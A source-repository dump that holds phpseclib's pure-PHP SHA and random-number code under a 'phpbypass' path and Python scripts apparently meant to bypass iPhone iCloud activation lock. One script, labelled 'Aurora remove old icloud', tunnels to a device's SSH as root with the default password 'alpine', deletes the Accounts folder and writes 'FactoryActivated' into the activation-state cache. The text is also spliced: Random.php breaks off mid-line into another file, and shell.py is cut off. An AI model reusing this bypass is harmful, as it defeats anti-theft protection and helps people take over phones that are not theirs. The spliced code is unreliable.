498 | $m.= str_repeat(chr(0), 64 - (($length + 8) & 0x3F));
499 | $m[$length] = chr(0x80);
500 | // we don't support hashing strings 512MB long
501 | $m.= pack('N2', 0, $length << 3);
502 |
503 | // Process the message in successive 512-bit chunks
504 | $chunks = str_split($m, 64);
505 | foreach ($chunks as $chunk) {
506 | $w = array();
507 | for ($i = 0; $i < 16; $i++) {
508 | extract(unpack('Ntemp', $this->_string_shift($chunk, 4)));
509 | $w[] = $temp;
510 | }
511 |
512 | // Extend the sixteen 32-bit words into sixty-four 32-bit words
513 | for ($i = 16; $i < 64; $i++) {
514 | $s0 = $this->_rightRotate($w[$i - 15], 7) ^
515 | $this->_rightRotate($w[$i - 15], 18) ^
516 | $this->_rightShift( $w[$i - 15], 3);
517 | $s1 = $this->_rightRotate($w[$i - 2], 17) ^
518 | $this->_rightRotate($w[$i - 2], 19) ^
519 | $this->_rightShift( $w[$i - 2], 10);
520 | $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1);
521 |
522 | }
523 |
524 | // Initialize hash value for this chunk
525 | list($a, $b, $c, $d, $e, $f, $g, $h) = $hash;
526 |
527 | // Main loop
528 | for ($i = 0; $i < 64; $i++) {
529 | $s0 = $this->_rightRotate($a, 2) ^
530 | $this->_rightRotate($a, 13) ^
531 | $this->_rightRotate($a, 22);
532 | $maj = ($a & $b) ^
533 | ($a & $c) ^
534 | ($b & $c);
535 | $t2 = $this->_add($s0, $maj);
536 |
537 | $s1 = $this->_rightRotate($e, 6) ^
538 | $this->_rightRotate($e, 11) ^
539 | $this->_rightRotate($e, 25);
540 | $ch = ($e & $f) ^
541 | ($this->_not($e) & $g);
542 | $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]);
543 |
544 | $h = $g;
545 | $g = $f;
546 | $f = $e;
547 | $e = $this->_add($d, $t1);
548 | $d = $c;
549 | $c = $b;
550 | $b = $a;
551 | $a = $this->_add($t1, $t2);
552 | }
553 |
554 | // Add this chunk's hash to result so far
555 | $hash = array(
556 | $this->_add($hash[0], $a),
557 | $this->_add($hash[1], $b),
558 | $this->_add($hash[2], $c),
559 | $this->_add($hash[3], $d),
560 | $this->_add($hash[4], $e),
561 | $this->_add($hash[5], $f),
562 | $this->_add($hash[6], $g),
563 | $this->_add($hash[7], $h)
564 | );
565 | }
566 |
567 | // Produce the final hash value (big-endian)
568 | return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]);
569 | }
570 |
571 | /**
572 | * Pure-PHP implementation of SHA384 and SHA512
573 | *
574 | * @access private
575 | * @param String $m
576 | */
577 | function _sha512($m)
578 | {
579 | if (!class_exists('Math_BigInteger')) {
580 | include_once 'Math/BigInteger.php';
581 | }
582 |
583 | static $init384, $init512, $k;
584 |
585 | if (!isset($k)) {
586 | // Initialize variables
587 | $init384 = array( // initial values for SHA384
588 | 'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939',
589 | '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4'
590 | );
591 | $init512 = array( // initial values for SHA512
592 | '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1',
593 | '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', '5be0cd19137e2179'
594 | );
595 |
596 | for ($i = 0; $i < 8; $i++) {
597 | $init384[$i] = new Math_BigInteger($init384[$i], 16);
598 | $init384[$i]->setPrecision(64);
599 | $init512[$i] = new Math_BigInteger($init512[$i], 16);
600 | $init512[$i]->setPrecision(64);
601 | }
602 |
603 | // Initialize table of round constants
604 | // (first 64 bits of the fractional parts of the cube roots of the first 80 primes 2..409)
605 | $k = array(
606 | '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc',
607 | '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118',
608 | 'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2',
609 | '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694',
610 | 'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65',
611 | '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5',
612 | '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4',
613 | 'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70',
614 | '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df',
615 | '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b',
616 | 'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30',
617 | 'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8',
618 | '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8',
619 | '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3',
620 | '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec',
621 | '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b',
622 | 'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178',
623 | '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b',
624 | '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c',
625 | '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817'
626 | );
627 |
628 | for ($i = 0; $i < 80; $i++) {
629 | $k[$i] = new Math_BigInteger($k[$i], 16);
630 | }
631 | }
632 |
633 | $hash = $this->l == 48 ? $init384 : $init512;
634 |
635 | // Pre-processing
636 | $length = strlen($m);
637 | // to round to nearest 112 mod 128, we'll add 128 - (length + (128 - 112)) % 128
638 | $m.= str_repeat(chr(0), 128 - (($length + 16) & 0x7F));
639 | $m[$length] = chr(0x80);
640 | // we don't support hashing strings 512MB long
641 | $m.= pack('N4', 0, 0, 0, $length << 3);
642 |
643 | // Process the message in successive 1024-bit chunks
644 | $chunks = str_split($m, 128);
645 | foreach ($chunks as $chunk) {
646 | $w = array();
647 | for ($i = 0; $i < 16; $i++) {
648 | $temp = new Math_BigInteger($this->_string_shift($chunk, 8), 256);
649 | $temp->setPrecision(64);
650 | $w[] = $temp;
651 | }
652 |
653 | // Extend the sixteen 32-bit words into eighty 32-bit words
654 | for ($i = 16; $i < 80; $i++) {
655 | $temp = array(
656 | $w[$i - 15]->bitwise_rightRotate(1),
657 | $w[$i - 15]->bitwise_rightRotate(8),
658 | $w[$i - 15]->bitwise_rightShift(7)
659 | );
660 | $s0 = $temp[0]->bitwise_xor($temp[1]);
661 | $s0 = $s0->bitwise_xor($temp[2]);
662 | $temp = array(
663 | $w[$i - 2]->bitwise_rightRotate(19),
664 | $w[$i - 2]->bitwise_rightRotate(61),
665 | $w[$i - 2]->bitwise_rightShift(6)
666 | );
667 | $s1 = $temp[0]->bitwise_xor($temp[1]);
668 | $s1 = $s1->bitwise_xor($temp[2]);
669 | $w[$i] = $w[$i - 16]->copy();
670 | $w[$i] = $w[$i]->add($s0);
671 | $w[$i] = $w[$i]->add($w[$i - 7]);
672 | $w[$i] = $w[$i]->add($s1);
673 | }
674 |
675 | // Initialize hash value for this chunk
676 | $a = $hash[0]->copy();
677 | $b = $hash[1]->copy();
678 | $c = $hash[2]->copy();
679 | $d = $hash[3]->copy();
680 | $e = $hash[4]->copy();
681 | $f = $hash[5]->copy();
682 | $g = $hash[6]->copy();
683 | $h = $hash[7]->copy();
684 |
685 | // Main loop
686 | for ($i = 0; $i < 80; $i++) {
687 | $temp = array(
688 | $a->bitwise_rightRotate(28),
689 | $a->bitwise_rightRotate(34),
690 | $a->bitwise_rightRotate(39)
691 | );
692 | $s0 = $temp[0]->bitwise_xor($temp[1]);
693 | $s0 = $s0->bitwise_xor($temp[2]);
694 | $temp = array(
695 | $a->bitwise_and($b),
696 | $a->bitwise_and($c),
697 | $b->bitwise_and($c)
698 | );
699 | $maj = $temp[0]->bitwise_xor($temp[1]);
700 | $maj = $maj->bitwise_xor($temp[2]);
701 | $t2 = $s0->add($maj);
702 |
703 | $temp = array(
704 | $e->bitwise_rightRotate(14),
705 | $e->bitwise_rightRotate(18),
706 | $e->bitwise_rightRotate(41)
707 | );
708 | $s1 = $temp[0]->bitwise_xor($temp[1]);
709 | $s1 = $s1->bitwise_xor($temp[2]);
710 | $temp = array(
711 | $e->bitwise_and($f),
712 | $g->bitwise_and($e->bitwise_not())
713 | );
714 | $ch = $temp[0]->bitwise_xor($temp[1]);
715 | $t1 = $h->add($s1);
716 | $t1 = $t1->add($ch);
717 | $t1 = $t1->add($k[$i]);
718 | $t1 = $t1->add($w[$i]);
719 |
720 | $h = $g->copy();
721 | $g = $f->copy();
722 | $f = $e->copy();
723 | $e = $d->add($t1);
724 | $d = $c->copy();
725 | $c = $b->copy();
726 | $b = $a->copy();
727 | $a = $t1->add($t2);
728 | }
729 |
730 | // Add this chunk's hash to result so far
731 | $hash = array(
732 | $hash[0]->add($a),
733 | $hash[1]->add($b),
734 | $hash[2]->add($c),
735 | $hash[3]->add($d),
736 | $hash[4]->add($e),
737 | $hash[5]->add($f),
738 | $hash[6]->add($g),
739 | $hash[7]->add($h)
740 | );
741 | }
742 |
743 | // Produce the final hash value (big-endian)
744 | // (Crypt_Hash::hash() trims the output for hashes but not for HMACs. as such, we trim the output here)
745 | $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() .
746 | $hash[4]->toBytes() . $hash[5]->toBytes();
747 | if ($this->l != 48) {
748 | $temp.= $hash[6]->toBytes() . $hash[7]->toBytes();
749 | }
750 |
751 | return $temp;
752 | }
753 |
754 | /**
755 | * Right Rotate
756 | *
757 | * @access private
758 | * @param Integer $int
759 | * @param Integer $amt
760 | * @see _sha256()
761 | * @return Integer
762 | */
763 | function _rightRotate($int, $amt)
764 | {
765 | $invamt = 32 - $amt;
766 | $mask = (1 << $invamt) - 1;
767 | return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask);
768 | }
769 |
770 | /**
771 | * Right Shift
772 | *
773 | * @access private
774 | * @param Integer $int
775 | * @param Integer $amt
776 | * @see _sha256()
777 | * @return Integer
778 | */
779 | function _rightShift($int, $amt)
780 | {
781 | $mask = (1 << (32 - $amt)) - 1;
782 | return ($int >> $amt) & $mask;
783 | }
784 |
785 | /**
786 | * Not
787 | *
788 | * @access private
789 | * @param Integer $int
790 | * @see _sha256()
791 | * @return Integer
792 | */
793 | function _not($int)
794 | {
795 | return ~$int & 0xFFFFFFFF;
796 | }
797 |
798 | /**
799 | * Add
800 | *
801 | * _sha256() adds multiple unsigned 32-bit integers. Since PHP doesn't support unsigned integers and since the
802 | * possibility of overflow exists, care has to be taken. Math_BigInteger() could be used but this should be faster.
803 | *
804 | * @param Integer $...
805 | * @return Integer
806 | * @see _sha256()
807 | * @access private
808 | */
809 | function _add()
810 | {
811 | static $mod;
812 | if (!isset($mod)) {
813 | $mod = pow(2, 32);
814 | }
815 |
816 | $result = 0;
817 | $arguments = func_get_args();
818 | foreach ($arguments as $argument) {
819 | $result+= $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument;
820 | }
821 |
822 | return fmod($result, $mod);
823 | }
824 |
825 | /**
826 | * String Shift
827 | *
828 | * Inspired by array_shift
829 | *
830 | * @param String $string
831 | * @param optional Integer $index
832 | * @return String
833 | * @access private
834 | */
835 | function _string_shift(&$string, $index = 1)
836 | {
837 | $substr = substr($string, 0, $index);
838 | $string = substr($string, $index);
839 | return $substr;
840 | }
841 | }
842 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/var/www/crypt/Random.php:
--------------------------------------------------------------------------------
1 |
13 | *
18 | *
19 | *
20 | * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
21 | * of this software and associated documentation files (the "Software"), to deal
22 | * in the Software without restriction, including without limitation the rights
23 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
24 | * copies of the Software, and to permit persons to whom the Software is
25 | * furnished to do so, subject to the following conditions:
26 | *
27 | * The above copyright notice and this permission notice shall be included in
28 | * all copies or substantial portions of the Software.
29 | *
30 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
31 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
32 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
33 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
34 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
35 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
36 | * THE SOFTWARE.
37 | *
38 | * @category Crypt
39 | * @package Crypt_Random
40 | * @author Jim Wigginton
41 | * @copyright 2007 Jim Wigginton
42 | * @license http://www.opensource.org/licenses/mit-license.html MIT License
43 | * @link http://phpseclib.sourceforge.net
44 | */
45 |
46 | // laravel is a PHP framework that utilizes phpseclib. laravel workbenches may, independently,
47 | // have phpseclib as a requirement as well. if you're developing such a program you may encounter
48 | // a "Cannot redeclare crypt_random_string()" error.
49 | if (!function_exists('crypt_random_string')) {
50 | /**
51 | * "Is Windows" test
52 | *
53 | * @access private
54 | */
55 | define('CRYPT_RANDOM_IS_WINDOWS', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
56 |
57 | /**
58 | * Generate a random string.
59 | *
60 | * Although microoptimizations are generally discouraged as they impair readability this function is ripe with
61 | * microoptimizations because this function has the potential of being called a huge number of times.
62 | * eg. for RSA key generation.
63 | *
64 | * @param Integer $length
65 | * @return String
66 | * @access public
67 | */
68 | function crypt_random_string($length)
69 | {
70 | if (CRYPT_RANDOM_IS_WINDOWS) {
71 | // method 1. prior to PHP 5.3 this would call rand() on windows hence the function_exists('class_alias') call.
72 | // ie. class_alias is a function that was introduced in PHP 5.3
73 | if (function_exists('mcrypt_create_iv') && function_exists('class_alias')) {
74 | return mcrypt_create_iv($length);
75 | }
76 | // method 2. openssl_random_pseudo_bytes was introduced in PHP 5.3.0 but prior to PHP 5.3.4 there was,
77 | // to quote , "possible blocking behavior". as of 5.3.4
78 | // openssl_random_pseudo_bytes and mcrypt_create_iv do the exact same thing on Windows. ie. they both
79 | // call php_win32_get_random_bytes():
80 | //
81 | // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/openssl/openssl.c#L5008
82 | // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/mcrypt/mcrypt.c#L1392
83 | //
84 | // php_win32_get_random_bytes() is defined thusly:
85 | //
86 | // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/win32/winutil.c#L80
87 | //
88 | // we're calling it, all the same, in the off chance that the mcrypt extension is not available
89 | if (function_exists('openssl_random_pseudo_bytes') && version_compare(PHP_VERSION, '5.3.4', '>=')) {
90 | return openssl_random_pseudo_bytes($length);
91 | }
92 | } else {
93 | // method 1. the fastest
94 | if (function_exists('openssl_random_pseudo_bytes')) {
95 | return openssl_random_pseudo_bytes($length);
96 | }
97 | // method 2
98 | static $fp = true;
99 | if ($fp === true) {
100 | // warning's will be output unles the error suppression operator is used. errors such as
101 | // "open_basedir restriction in effect", "Permission denied", "No such file or directory", etc.
102 | $fp = @fopen('/dev/urandom', 'rb');
103 | }
104 | if ($fp !== true && $fp !== false) { // surprisingly faster than !is_bool() or is_resource()
105 | return fread($fp, $length);
106 | }
107 | // method 3. pretty much does the same thing as method 2 per the following url:
108 | // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/mcrypt/mcrypt.c#L1391
109 | // surprisingly slower than method 2. maybe that's because mcrypt_create_iv does a bunch of error checking that we're
110 | // not doing. regardless, this'll only be called if this PHP script couldn't open /dev/urandom due to open_basedir
111 | // restrictions or some such
112 | if (function_exists('mcrypt_create_iv')) {
113 | return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
114 | }
115 | }
116 | // at this point we have no choice but to use a pure-PHP CSPRNG
117 |
118 | // cascade entropy across multiple PHP instances by fixing the session and collecting all
119 | // environmental variables, including the previous session data and the current session
120 | // data.
121 | //
122 | // mt_rand seeds itself by looking at the PID and the time, both of which are (relatively)
123 | // easy to guess at. linux uses mouse clicks, keyboard timings, etc, as entropy sources, but
124 | // PHP isn't low level to be able to use those as sources and on a web server there's not likely
125 | // going to be a ton of keyboard or mouse action. web servers do have one thing that we can use
126 | // however, a ton of people visiting the website. obviously you don't want to base your seeding
127 | // soley on parameters a potential attacker sends but (1) not everything in $_SERVER is controlled
128 | // by the user and (2) this isn't just looking at the data sent by the current user - it's based
129 | // on the data sent by all users. one user requests the page and a hash of their info is saved.
130 | // another user visits the page and the serialization of their data is utilized along with the
131 | // server envirnment stuff and a hash of the previous http request data (which itself utilizes
132 | // a hash of the session data before that). certainly an attacker should be assumed to have
133 | // full control over his own http requests. he, however, is not going to have control over
134 | // everyone's http requests.
135 | static $crypto = false, $v;
136 | if ($crypto === false) {
137 | // save old session data
138 | $old_session_id = session_id();
139 | $old_use_cookies = ini_get('session.use_cookies');
140 | $old_session_cache_limiter = session_cache_limiter();
141 | $_OLD_SESSION = isset($_SESSION) ? $_SESSION : false;
142 | if ($old_session_id != '') {
143 | session_write_close();
144 | }
145 |
146 | session_id(1);
147 | ini_set('session.use_cookies', 0);
148 | session_cache_limiter('');
149 | session_start();
150 |
151 | $v = $seed = $_SESSION['seed'] = pack('H*', sha1(
152 | serialize($_SERVER) .
153 | serialize($_POST) .
154 | serialize($_GET) .
155 | serialize($_COOKIE) .
156 | serialize($GLOBALS) .
157 | serialize($_SESSION) .
158 | serialize($_OLD_SESSION)
159 | ));
160 | if (!isset($_SESSION['count'])) {
161 | $_SESSION['count'] = 0;
162 | }
163 | $_SESSION['count']++;
164 |
165 | session_write_close();
166 |
167 | // restore old session data
168 | if ($old_session_id != '') {
169 | session_id($old_session_id);
170 | session_start();
171 | ini_set('session.use_cookies', $old_use_cookies);
172 | session_cache_limiter($old_session_cache_limiter);
173 | } else {
174 | if ($_OLD_SESSION !== false) {
175 | $_SESSION = $_OLD_SESSION;
176 | unset($_OLD_SESSION);
177 | } else {
178 | unset($_SESSION);
179 | }
180 | }
181 |
182 | // in SSH2 a shared secret and an exchange hash are generated through the key exchange process.
183 | // the IV client to server is the hash of that "nonce" with the letter A and for the encryption key it's the letter C.
184 | // if the hash doesn't produce enough a key or an IV that's long enough concat successive hashes of the
185 | // original hash and the current hash. we'll be emulating that. for more info see the following URL:
186 | //
187 | // http://tools.ietf.org/html/rfc4253#section-7.2
188 | //
189 | // see the is_string($crypto) part for an example of how to expand the keys
190 | $key = pack('H*', sha1($seed . 'A'));
191 | $iv = pack('H*', sha1($seed . 'C'));
192 |
193 | // ciphers are used as per the nist.gov link below. also, see this link:
194 | //
195 | // http://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator#Designs_based_on_cryptographic_primitives
196 | switch (true) {
197 | case phpseclib_resolve_include_path('Crypt/AES.php'):
198 | if (!class_exists('Crypt_AES')) {
199 | include_once 'AES.php';
200 | }
201 | $crypto = new Crypt_AES(CRYPT_AES_MODE_CTR);
202 | break;
203 | case phpseclib_resolve_include_path('Crypt/Twofish.php'):
204 | if (!class_exists('Crypt_Twofish')) {
205 | include_once 'Twofish.php';
206 | }
207 | $crypto = new Crypt_Twofish(CRYPT_TWOFISH_MODE_CTR);
208 | break;
209 | case phpseclib_resolve_include_path('Crypt/Blowfish.php'):
210 | if (!class_exists('Crypt_Blowfish')) {
211 | include_once 'Blowfish.php';
212 | }
213 | $crypto = new Crypt_Blowfish(CRYPT_BLOWFISH_MODE_CTR);
214 | break;
215 | case phpseclib_resolve_include_path('Crypt/TripleDES.php'):
216 | if (!class_exists('Crypt_TripleDES')) {
217 | include_once 'TripleDES.php';
218 | }
219 | $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CTR);
220 | break;
221 | case phpseclib_resolve_include_path('Crypt/DES.php'):
222 | if (!class_exists('Crypt_DES')) {
223 | include_once 'DES.php';
224 | }
225 | $crypto = new Crypt_DES(CRYPT_DES_MODE_CTR);
226 | break;
227 | case phpseclib_resolve_include_path('Crypt/RC4.php'):
228 | if (!class_exists('Crypt_RC4')) {
229 | include_once 'RC4.php';
230 | }
231 | $crypto = new Crypt_RC4();
232 | break;
233 | default:
234 | user_error('crypt_random_string requires at least one symmetric cipher be loaded');
235 | return false;
236 | }
237 |
238 | $crypto->setKey($key);
239 | $crypto->setIV($iv);
240 | $crypto->enableContinuousBuffer();
241 | }
242 |
243 | //return $crypto->encrypt(str_repeat("\0", $length));
244 |
245 | // the following is based off of ANSI X9.31:
246 | //
247 | // http://csrc.nist.gov/groups/STM/cavp/documents/rng/931rngext.pdf
248 | //
249 | // OpenSSL uses that same standard for it's random numbers:
250 | //
251 | // http://www.opensource.apple.com/source/OpenSSL/OpenSSL-38/openssl/fips-1.0/rand/fips_rand.c
252 | // (do a search for "ANS X9.31 A.2.4")
253 | $result = '';
254 | while (strlen($result) < $length) {
255 | $i = $crypto->encrypt(microtime()); // strlen(microtime()) == 21
256 | $r = $crypto->encrypt($i ^ $v); // strlen($v) == 20
257 | $v = $crypto->encrypt($r ^ $i); // strlen($r) == 20
258 | $result.= $r;
259 | }
260 | return substr($result, 0, $length);
261 | }
262 | }
263 |
264 | if (!function_exists('phpseclib_resolve_include_path')) {
265 | /**
266 | * Resolve filename against the include path.
267 | *
268 | * Wrapper around stream_resolve_include_path() (which was introduced in
269 | * PHP 5.3.2) with fallback implementation for earlier PHP versions.
270 | *
271 | * @param string $filename
272 | * @return mixed Filename (string) on success, false otherwise.
273 | * @access public
274 | */
275 | function phpseclib_resolve_include_path($filename)
276 | {
277 | if (function_exists('stream_resolve_include_path')) {
278 | return stream_resolve_include_path($filename);
279 | }
280 |
281 | // handle non-relative paths
282 | if (file_exists($filename)) {
283 | return realpath($filename);
284 | }
285 |
286 | $paths = PATH_SEPARATOR == ':' ?
287 | preg_split('#(? None:
20 | while True:
21 | rlist = list()
22 | wlist = list()
23 | xlist = [self.a, self.b]
24 | if self.atob:
25 | wlist.append(self.b)
26 | if self.btoa:
27 | wlist.append(self.a)
28 | if len(self.atob) < self.max_buffer:
29 | rlist.append(self.a)
30 | if len(self.btoa) < self.max_buffer:
31 | rlist.append(self.b)
32 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
33 | if xlo:
34 | return
35 | if self.a in wlo:
36 | n = self.a.send(self.btoa)
37 | self.btoa = self.btoa[n:]
38 | if self.b in wlo:
39 | n = self.b.send(self.atob)
40 | self.atob = self.atob[n:]
41 | if self.a in rlo:
42 | s = self.a.recv(self.max_buffer - len(self.atob))
43 | if not s:
44 | return
45 | self.atob += s
46 | if self.b in rlo:
47 | s = self.b.recv(self.max_buffer - len(self.btoa))
48 | if not s:
49 | return
50 | self.btoa += s
51 |
52 |
53 | class TCPRelay(socketserver.BaseRequestHandler):
54 | def handle(self) -> None:
55 | print("Incoming connection to %d" % self.server.server_address[1])
56 | mux = usbmux.USBMux(None)
57 | print("Waiting for devices...")
58 | if not mux.devices:
59 | mux.process(1.0)
60 | if not mux.devices:
61 | print("No device found")
62 | self.request.close()
63 | return
64 | dev = mux.devices[0]
65 | print("Connecting to device %s" % str(dev))
66 | d_sock = mux.connect(dev, self.server.r_port)
67 | l_sock = self.request
68 | print("Connection established, relaying data")
69 | try:
70 | fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
71 | fwd.handle()
72 | finally:
73 | d_sock.close()
74 | l_sock.close()
75 | print("Connection closed")
76 |
77 |
78 | class TCPServer(socketserver.TCPServer):
79 | allow_reuse_address = True
80 |
81 |
82 | class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
83 | allow_reuse_address = True
84 |
85 |
86 | class PhoneConnect:
87 |
88 | def __init__(self,
89 | host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
90 | self.host = host
91 | self.mobile_port = mobile_port
92 | self.computer_port = computer_port
93 | self.buffer_size = buffer_size
94 |
95 | def start(self) -> None:
96 |
97 | servers = list()
98 | ports = [(self.mobile_port, self.computer_port)]
99 |
100 | for r_port, l_port in ports:
101 | print(f"Forwarding local port {l_port} to remote port {r_port}")
102 | server = ThreadedTCPServer((self.host, l_port), TCPRelay)
103 | server.r_port = r_port
104 | server.buffer_size = self.buffer_size
105 | servers.append(server)
106 |
107 | alive = True
108 |
109 | while alive:
110 | try:
111 | rl, wl, xl = select.select(servers, [], [])
112 | for server in rl:
113 | server.handle_request()
114 | except KeyboardInterrupt:
115 | print("Server stopped")
116 | except Exception:
117 | alive = False
118 |
119 |
120 | if __name__ == '__main__':
121 | print("Aurora remove old icloud by Toni.Dev")
122 | server = PhoneConnect()
123 |
124 | thread = Thread(target=server.start)
125 | thread.start()
126 |
127 | host = "localhost"
128 | user = "root"
129 | secret = "alpine"
130 | port = 2222
131 | command = "cd /var/mobile/Library; rm -r Accounts; mkdir Accounts;"
132 | command_1 = "cd /var/root/Library/Lockdown && echo 'FactoryActivated' >> com.apple.mobile.lockdown_cache-ActivationState"
133 | client = paramiko.SSHClient()
134 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
135 | try:
136 | client.connect(hostname=host, username=user, password=secret, port=port)
137 | client.exec_command(command)
138 | client.exec_command(command_1)
139 | print("PLEASE RESTART YOUR PHONE")
140 |
141 | except paramiko.ssh_exception.AuthenticationException:
142 | print("Authentication failed")
143 | except paramiko.ssh_exception.NoValidConnectionsError:
144 | print("Failed to establish connection with the server")
145 |
146 | client.close()
147 | print("Done!")
148 |
149 | thread.join()
150 |
--------------------------------------------------------------------------------
/source/scripts/shell.py:
--------------------------------------------------------------------------------
1 | import socketserver
2 | import paramiko
3 | import usbmux
4 | import select
5 |
6 | from threading import Thread
7 | from socket import socket
8 |
9 |
10 | class SocketRelay(object):
11 |
12 | def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
13 | self.a = a
14 | self.b = b
15 | self.atob = bytes()
16 | self.btoa = bytes()
17 | self.max_buffer = max_buffer
18 |
19 | def handle(self) -> None:
20 | while True:
21 | rlist = list()
22 | wlist = list()
23 | xlist = [self.a, self.b]
24 | if self.atob:
25 | wlist.append(self.b)
26 | if self.btoa:
27 | wlist.append(self.a)
28 | if len(self.atob) < self.max_buffer:
29 | rlist.append(self.a)
30 | if len(self.btoa) < self.max_buffer:
31 | rlist.append(self.b)
32 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
33 | if xlo:
34 | return
35 | if self.a in wlo:
36 | n = self.a.send(self.btoa)
37 | self.btoa = self.btoa[n:]
38 | if self.b in wlo:
39 | n = self.b.send(self.atob)
40 | self.atob = self.atob[n:]
41 | if self.a in rlo:
42 | s = self.a.recv(self.max_buffer - len(self.atob))
43 | if not s:
44 | return
45 | self.atob += s
46 | if self.b in rlo:
47 | s = self.b.recv(self.max_buffer - len(self.btoa))
48 | if not s:
49 | return
50 | self.btoa += s
51 |
52 |
53 | class TCPRelay(socketserver.BaseRequestHandler):
54 | def handle(self) -> None:
55 | print("Incoming connection to %d" % self.server.server_address[1])
56 | mux = usbmux.USBMux(None)
57 | print("Waiting for devices...")
58 | if not mux.devices:
59 | mux.process(1.0)
60 | if not mux.devices:
61 | print("No device found")
62 | self.request.close()
63 | return
64 | dev = mux.devices[0]
65 | print("Connecting to device %s" % str(dev))
66 | d_sock = mux.connect(dev, self.server.r_port)
67 | l_sock = self.request
68 | print("Connection established, relaying data")
69 | try:
70 | fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
71 | fwd.handle()
72 | finally:
73 | d_sock.close()
74 | l_sock.close()
75 | print("Connection closed")
76 |
77 |
78 | class TCPServer(socketserver.TCPServer):
79 | allow_reuse_address = True
80 |
81 |
82 | class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
83 | allow_reuse_address = True
84 |
85 |
86 | class PhoneConnect:
87 |
88 | def __init__(self,
89 | host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
90 | self.host = host
91 | self.mobile_port = mobile_port
92 | self.computer_port = computer_port
93 | self.buffer_size = buffer_size
94 |
95 | def start(self) -> None:
96 |
97 | servers = list()
98 | ports = [(self.mobile_port, self.computer_port)]
99 |
100 | for r_port, l_port in ports:
101 | print(f"Forwarding local port {l_port} to remote port {r_port}")
102 | server = ThreadedTCPServer((self.host, l_port), TCPRelay)
103 | server.r_port = r_port
104 | server.buffer_size = self.buffer_size
105 | servers.append(server)
106 |
107 | alive = True
108 | while alive:
109 | try:
110 | rl, wl, xl = select.select(servers, [], [])
111 | for server in rl:
112 | server.handle_request()
113 | except KeyboardInterrupt:
114 | print("Server stopped")
115 | except Exception:
116 | alive = False
117 |
118 |
119 | if __name__ == '__main__':
